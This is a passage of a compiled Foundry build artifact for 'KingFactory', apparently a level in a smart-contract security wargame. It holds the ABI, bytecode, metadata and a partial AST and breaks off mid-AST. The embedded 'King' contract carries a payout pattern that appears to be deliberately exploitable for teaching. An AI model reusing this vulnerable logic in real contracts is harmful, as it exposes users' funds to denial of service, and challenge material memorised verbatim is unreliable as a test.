payable"},{"name":"_player","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405266038d7ea4c6800060015534801561001a575f80fd5b5061002433610029565b610078565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61067b806100855f395ff3fe608060405260043610610066575f3560e01c806390696af91161004157806390696af9146100d3578063d38def5b146100f6578063f2fde38b14610125575f80fd5b8063715018a6146100715780637726f776146100875780638da5cb5b146100b7575f80fd5b3661006d57005b5f80fd5b34801561007c575f80fd5b50610085610144565b005b61009a610095366004610422565b610157565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100c2575f80fd5b505f546001600160a01b031661009a565b3480156100de575f80fd5b506100e860015481565b6040519081526020016100ae565b348015610101575f80fd5b50610115610110366004610444565b6101de565b60405190151581526020016100ae565b348015610130575f80fd5b5061008561013f366004610422565b6102b1565b61014c610341565b6101555f61039a565b565b5f6001543410156101af5760405162461bcd60e51b815260206004820152601c60248201527f4d7573742073656e64206174206c6561737420302e303031204554480000000060448201526064015b60405180910390fd5b346040516101bc90610401565b6040518091039082f09050801580156101d7573d5f803e3d5ffd5b5092915050565b6040515f90839082906001600160a01b0383169082908181818181875af1925050503d805f811461022a576040519150601f19603f3d011682016040523d82523d5f602084013e61022f565b606091505b50509050306001600160a01b0316826001600160a01b03166329cc6d6f6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610279573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029d919061047b565b6001600160a01b0316141595945050505050565b6102b9610341565b6001600160a01b0381166103355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016101a6565b61033e8161039a565b50565b5f546001600160a01b031633146101555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101a6565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101af8061049783390190565b6001600160a01b038116811461033e575f80fd5b5f60208284031215610432575f80fd5b813561043d8161040e565b9392505050565b5f8060408385031215610455575f80fd5b82356104608161040e565b915060208301356104708161040e565b809150509250929050565b5f6020828403121561048b575f80fd5b815161043d8161040e56fe6080604052600280546001600160a01b0319908116339081179092555f8054909116909117905534600155610178806100375f395ff3fe608060405260043610610036575f3560e01c806329cc6d6f146100cb5780638da5cb5b14610100578063e3ac5d261461011f575f80fd5b366100c7576001543410158061005657506002546001600160a01b031633145b61005e575f80fd5b5f80546040516001600160a01b03909116913480156108fc02929091818181858888f19350505050158015610095573d5f803e3d5ffd5b505f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055346001819055005b5f80fd5b3480156100d6575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b34801561010b575f80fd5b506002546100e3906001600160a01b031681565b34801561012a575f80fd5b5061013460015481565b6040519081526020016100f756fea2646970667358221220a6f44ad3ceb864e9789ad85621d452c5eb4ca2398ce14d62b98e9bf9c97e3b5864736f6c63430008180033a26469706673582212204ef9b8b2996cf7680dcb2945afe60c656d721675c4d1bab26f5a56982a186e6264736f6c63430008180033","sourceMap":"107:658:92:-:0;;;171:11;143:39;;107:658;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;107:658:92;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;107:658:92:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610066575f3560e01c806390696af91161004157806390696af9146100d3578063d38def5b146100f6578063f2fde38b14610125575f80fd5b8063715018a6146100715780637726f776146100875780638da5cb5b146100b7575f80fd5b3661006d57005b5f80fd5b34801561007c575f80fd5b50610085610144565b005b61009a610095366004610422565b610157565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100c2575f80fd5b505f546001600160a01b031661009a565b3480156100de575f80fd5b506100e860015481565b6040519081526020016100ae565b348015610101575f80fd5b50610115610110366004610444565b6101de565b60405190151581526020016100ae565b348015610130575f80fd5b5061008561013f366004610422565b6102b1565b61014c610341565b6101555f61039a565b565b5f6001543410156101af5760405162461bcd60e51b815260206004820152601c60248201527f4d7573742073656e64206174206c6561737420302e303031204554480000000060448201526064015b60405180910390fd5b346040516101bc90610401565b6040518091039082f09050801580156101d7573d5f803e3d5ffd5b5092915050565b6040515f90839082906001600160a01b0383169082908181818181875af1925050503d805f811461022a576040519150601f19603f3d011682016040523d82523d5f602084013e61022f565b606091505b50509050306001600160a01b0316826001600160a01b03166329cc6d6f6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610279573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061029d919061047b565b6001600160a01b0316141595945050505050565b6102b9610341565b6001600160a01b0381166103355760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016101a6565b61033e8161039a565b50565b5f546001600160a01b031633146101555760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016101a6565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6101af8061049783390190565b6001600160a01b038116811461033e575f80fd5b5f60208284031215610432575f80fd5b813561043d8161040e565b9392505050565b5f8060408385031215610455575f80fd5b82356104608161040e565b915060208301356104708161040e565b809150509250929050565b5f6020828403121561048b575f80fd5b815161043d8161040e56fe6080604052600280546001600160a01b0319908116339081179092555f8054909116909117905534600155610178806100375f395ff3fe608060405260043610610036575f3560e01c806329cc6d6f146100cb5780638da5cb5b14610100578063e3ac5d261461011f575f80fd5b366100c7576001543410158061005657506002546001600160a01b031633145b61005e575f80fd5b5f80546040516001600160a01b03909116913480156108fc02929091818181858888f19350505050158015610095573d5f803e3d5ffd5b505f80547fffffffffffffffffffffffff00000000000000000000000000000000000000001633179055346001819055005b5f80fd5b3480156100d6575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020015b60405180910390f35b34801561010b575f80fd5b506002546100e3906001600160a01b031681565b34801561012a575f80fd5b5061013460015481565b6040519081526020016100f756fea2646970667358221220a6f44ad3ceb864e9789ad85621d452c5eb4ca2398ce14d62b98e9bf9c97e3b5864736f6c63430008180033a26469706673582212204ef9b8b2996cf7680dcb2945afe60c656d721675c4d1bab26f5a56982a186e6264736f6c63430008180033","sourceMap":"107:658:92:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;189:237:92;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;189:237:92;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;143:39:92;;;;;;;;;;;;;;;;;;;802:25:155;;;790:2;775:18;143:39:92;656:177:155;432:296:92;;;;;;;;;;-1:-1:-1;432:296:92;;;;;:::i;:::-;;:::i;:::-;;;1404:14:155;;1397:22;1379:41;;1367:2;1352:18;432:296:92;1239:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;189:237:92:-;263:7;320:10;;307:9;:23;;299:64;;;;-1:-1:-1;;;299:64:92;;1633:2:155;299:64:92;;;1615:21:155;1672:2;1652:18;;;1645:30;1711;1691:18;;;1684:58;1759:18;;299:64:92;;;;;;;;;406:9;388:30;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;373:46:92;189:237;-1:-1:-1;;189:237:92:o;432:296::-;618:36;;527:4;;581:9;;527:4;;-1:-1:-1;;;;;618:22:92;;;527:4;;;618:36;527:4;618:36;527:4;618:22;:36;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;601:53;;;716:4;-1:-1:-1;;;;;688:33:92;:8;-1:-1:-1;;;;;688:14:92;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;688:33:92;;;;432:296;-1:-1:-1;;;;;432:296:92:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;2456:2:155;2161:73:23::1;::::0;::::1;2438:21:155::0;2495:2;2475:18;;;2468:30;2534:34;2514:18;;;2507:62;2605:8;2585:18;;;2578:36;2631:19;;2161:73:23::1;2254:402:155::0;2161:73:23::1;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;2863:2:155;1414:68:23;;;2845:21:155;;;2882:18;;;2875:30;2941:34;2921:18;;;2914:62;2993:18;;1414:68:23;2661:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;;;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;838:396::-;914:6;922;975:2;963:9;954:7;950:23;946:32;943:52;;;991:1;988;981:12;943:52;1030:9;1017:23;1049:31;1074:5;1049:31;:::i;:::-;1099:5;-1:-1:-1;1156:2:155;1141:18;;1128:32;1169:33;1128:32;1169:33;:::i;:::-;1221:7;1211:17;;;838:396;;;;;:::o;1998:251::-;2068:6;2121:2;2109:9;2100:7;2096:23;2092:32;2089:52;;;2137:1;2134;2127:12;2089:52;2169:9;2163:16;2188:31;2213:5;2188:31;:::i","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","insertCoin()":"90696af9","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"insertCoin\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"stateMutability\":\"payable\",\"type\":\"receive\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/KingFactory.sol\":\"KingFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/King.sol\":{\"keccak256\":\"0x3d08ca5f44dd9d25da0379589d3e3f0523f44217332934ef274de018953f61e3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8f75765ba832ec5aaffa05676a425988c3b87006eeceb488b1dd64b3c19432ca\",\"dweb:/ipfs/QmfWR1fgGyTYCGzZ8pdHwKiUWAqEHzVxSg39QdWr4vLcWN\"]},\"src/levels/KingFactory.sol\":{\"keccak256\":\"0x4c50f8f43b57445519bf59220a6d1dd482865c30b40bfbe6c87b2a78d173b207\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://e519b0267d94577fa4dcab2cf630f1fdc421ee3fd701a675ba3fd581daaeaf47\",\"dweb:/ipfs/QmRVnWxTmdbtB4L5bNXSGFdFVFxmXGWxrqx7mjqtxVMLb6\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"insertCoin","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"payable","type":"receive"}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/KingFactory.sol":"KingFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/King.sol":{"keccak256":"0x3d08ca5f44dd9d25da0379589d3e3f0523f44217332934ef274de018953f61e3","urls":["bzz-raw://8f75765ba832ec5aaffa05676a425988c3b87006eeceb488b1dd64b3c19432ca","dweb:/ipfs/QmfWR1fgGyTYCGzZ8pdHwKiUWAqEHzVxSg39QdWr4vLcWN"],"license":"MIT"},"src/levels/KingFactory.sol":{"keccak256":"0x4c50f8f43b57445519bf59220a6d1dd482865c30b40bfbe6c87b2a78d173b207","urls":["bzz-raw://e519b0267d94577fa4dcab2cf630f1fdc421ee3fd701a675ba3fd581daaeaf47","dweb:/ipfs/QmRVnWxTmdbtB4L5bNXSGFdFVFxmXGWxrqx7mjqtxVMLb6"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/KingFactory.sol","id":53715,"exportedSymbols":{"Context":[48281],"King":[53625],"KingFactory":[53714],"Level":[55508],"Ownable":[46700]},"nodeType":"SourceUnit","src":"33:733:92","nodes":[{"id":53627,"nodeType":"PragmaDirective","src":"33:23:92","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53628,"nodeType":"ImportDirective","src":"58:26:92","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":53715,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":53629,"nodeType":"ImportDirective","src":"85:20:92","nodes":[],"absolutePath":"src/levels/King.sol","file":"./King.sol","nameLocation":"-1:-1:-1","scope":53715,"sourceUnit":53626,"symbolAliases":[],"unitAlias":""},{"id":53714,"nodeType":"ContractDefinition","src":"107:658:92","nodes":[{"id":53634,"nodeType":"VariableDeclaration","src":"143:39:92","nodes":[],"constant":false,"functionSelector":"90696af9","mutability":"mutable","name":"insertCoin","nameLocation":"158:10:92","scope":53714,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53632,"name":"uint256","nodeType":"ElementaryTypeName","src":"143:7:92","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"302e303031","id":53633,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"171:11:92","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"},"visibility":"public"},{"id":53665,"nodeType":"FunctionDefinition","src":"189:237:92","nodes":[],"body":{"id":53664,"nodeType":"Block","src":"272:154:92","nodes":[],"statements":[{"expression":{"id":53642,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53636,"src":"282:7:92","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53643,"nodeType":"ExpressionStatement","src":"282:7:92"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":53648,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":53645,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"307:3:92","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53646,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"311:5:92","memberName":"value","nodeType":"MemberAccess","src":"307:9:92","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":53647,"name":"insertCoin","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53634,"src":"320:10:92","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"307:23:92","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4d7573742073656e64206174206c6561737420302e30303120455448","id":53649,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"332:30:92","typeDescriptions":{"typeIdentifier":"t_stringliteral_be784f12ee6ca510c7240b97af44a324365aa817fdada1a3227a915bc1d82395","typeString":"literal_string \"Must send at least 0.001 ETH\""},"value":"Must send at least 0.001 ETH"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_be784f12ee6ca510c7240b97af44a324365aa817fdada1a3227a915bc1d82395","typeString":"literal_string \"Must send at least 0.001 ETH\""}],"id":53644,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"299:7:92","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":53650,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"299:64:92","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":53651,"nodeType":"ExpressionStatement","src":"299:64:92"},{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"expression":{"argumentTypes":[],"components":[{"id":53656,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"389:8:92","typeDescriptions":{"typeIdentifier":"t_function_creation_payable$__$returns$_t_contract$_King_$53625_$","typeString":"function () payable returns (contract King)"},"typeName":{"id":53655,"nodeType":"UserDefinedTypeName","pathNode":{"id":53654,"name":"King","nameLocations":["393:4:92"],"nodeType":"IdentifierPath","referencedDeclaration":53625,"src":"393:4:92"},"referencedDeclaration":53625,"src":"393:4:92","typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}}}],"id":53657,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"388:10:92","typeDescriptions":{"typeIdentifier":"t_function_creation_payable$__$returns$_t_contract$_King_$53625_$","typeString":"function () payable returns (contract King)"}},"id":53660,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"names":["value"],"nodeType":"FunctionCallOptions","options":[{"expression":{"id":53658,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"406:3:92","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53659,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"410:5:92","memberName":"value","nodeType":"MemberAccess","src":"406:9:92","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"src":"388:28:92","typeDescriptions":{"typeIdentifier":"t_function_creation_payable$__$returns$_t_contract$_King_$53625_$value","typeString":"function () payable returns (contract King)"}},"id":53661,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"388:30:92","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_King_$53625","typeString":"contract King"}],"id":53653,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"380:7:92","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":53652,"name":"address","nodeType":"ElementaryTypeName","src":"380:7:92","typeDescriptions":{}}},"id":53662,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"380:39:92","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":53641,"id":53663,"nodeType":"Return","src":"373:46:92"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"198:14:92","overrides":{"id":53638,"nodeType":"OverrideSpecifier","overrides":[],"src":"245:8:92"},"parameters":{"id":53637,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53636,"mutability":"mutable","name":"_player","nameLocation":"221:7:92","nodeType":"VariableDeclaration","scope":53665,"src":"213:15:92","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53635,"name":"address","nodeType":"ElementaryTypeName","src":"213:7:92","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"212:17:92"},"returnParameters":{"id":53641,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53640,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53665,"src":"263:7:92","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53639,"name":"address","nodeType":"ElementaryTypeName","src":"263:7:92","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"262:9:92"},"scope":53714,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":53709,"nodeType":"FunctionDefinition","src":"432:296:92","nodes":[],"body":{"id":53708,"nodeType":"Block","src":"533:195:92","nodes":[],"statements":[{"expression":{"id":53675,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53669,"src":"543:7:92","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53676,"nodeType":"ExpressionStatement","src":"543:7:92"},{"assignments":[53679],"declarations":[{"constant":false,"id":53679,"mutability":"mutable","name":"instance","nameLocation":"565:8:92","nodeType":"VariableDeclaration","scope":53708,"src":"560:13:92","stateVariable":false,"storageLocation":"